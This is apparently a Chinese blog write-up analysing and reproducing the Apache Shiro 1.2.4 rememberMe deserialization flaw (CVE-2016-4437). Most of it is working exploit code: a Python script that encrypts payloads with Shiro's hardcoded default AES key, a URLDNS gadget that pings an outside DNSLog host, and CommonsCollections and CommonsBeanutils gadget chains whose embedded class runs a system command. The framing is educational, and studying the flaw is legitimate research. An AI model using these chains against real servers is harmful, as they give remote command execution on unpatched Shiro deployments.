Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
漏洞概述
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
Shiro1.2.4:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
编辑 shiro/web 目录下的 pom.xml,将 jstl 的版本修改为1.2
1 2 3 4 5 6
| <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
|
IDEA导入 mvn 项目,配置 tomcat 环境
漏洞分析
根据漏洞描述,Shiro≤1.2.4 版本默认使用 CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:
- 获取Cookie中rememberMe的值
- 对rememberMe进行Base64解码
- 使用AES进行解密
- 对解密的值进行反序列化
由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当 CookieRememberMeManager 对恶意的 rememberMe 进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞
抓包分析
勾选 Remember Me

服务器会返回一个 rememberMe Cookie

之后的请求也会带上这个Cookie

源码分析
查找 Cookie 相关操作类
CookieRememberMeManager 类里有序列化和get序列化的方法

getRememberedSerializedIdentity() 查找调用

convertBytesToPrincipals() 执行解密和反序列化

deserialize() [DefaultSerializer类中]

解密分析
decrypt()

接口

找到 decryptionCipherKey 赋值的地方




常量 decryptionCipherKey

加密分析
convertPrincipalsToBytes()

encrypt()

可以知道加密算法为 AES的CBC模式

加解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import base64 import uuid from Crypto.Cipher import AES
def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = bytes.decode(plaintext) plaintext = unpad(plaintext) return plaintext
if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
|
漏洞复现
DNSLog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception { URL url = new URL("http://gvjpeqqpqk.dgrh3.cn"); HashMap hashMap = new HashMap(); Class cls = url.getClass(); Field hashCode = cls.getDeclaredField("hashCode"); hashCode.setAccessible(true);
hashCode.set(url, 999); hashMap.put(url, 1); hashCode.set(url, -1);
serialize(hashMap); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } }
|
将构造好的 DNSLog 序列化文件加密,去除 JSESSIONID,伪造 rememberMe


ShiroCC
Shiro无CC,需要手动添加CC依赖

ShiroCC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package vul.Shiro550;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
import java.util.HashMap; import java.util.Map;
public class ShiroCC { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); Field byteCodesField = tc.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Compiler\\Idea\\Java_Sec\\target\\classes\\Gadget\\CC3\\Test.class")); byte[][] codes = {code}; byteCodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); lazyMap.remove(templates); Class c = LazyMap.class; Field factoryFied = c.getDeclaredField("factory"); factoryFied.setAccessible(true); factoryFied.set(lazyMap,invokerTransformer);
serialize(hashMap); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } }
|
Test 构建class文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package Gadget.CC3;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
加密后发包

ShiroCB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package vul.Shiro550;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class ShiroCB { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl=new TemplatesImpl(); Class c=templatesimpl.getClass(); Field _nameField=c.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templatesimpl,"aaa"); Field _byteCodesField=c.getDeclaredField("_bytecodes"); _byteCodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("E:\\Compiler\\Idea\\JavaSec\\target\\classes\\Gadget\\CC3\\Test.class")); byte[][] codes= {code}; _byteCodesField.set(templatesimpl,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templatesimpl); priorityQueue.add(templatesimpl); Class clazz=PriorityQueue.class; Field comparatorField = clazz.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } }
|
加密后发包
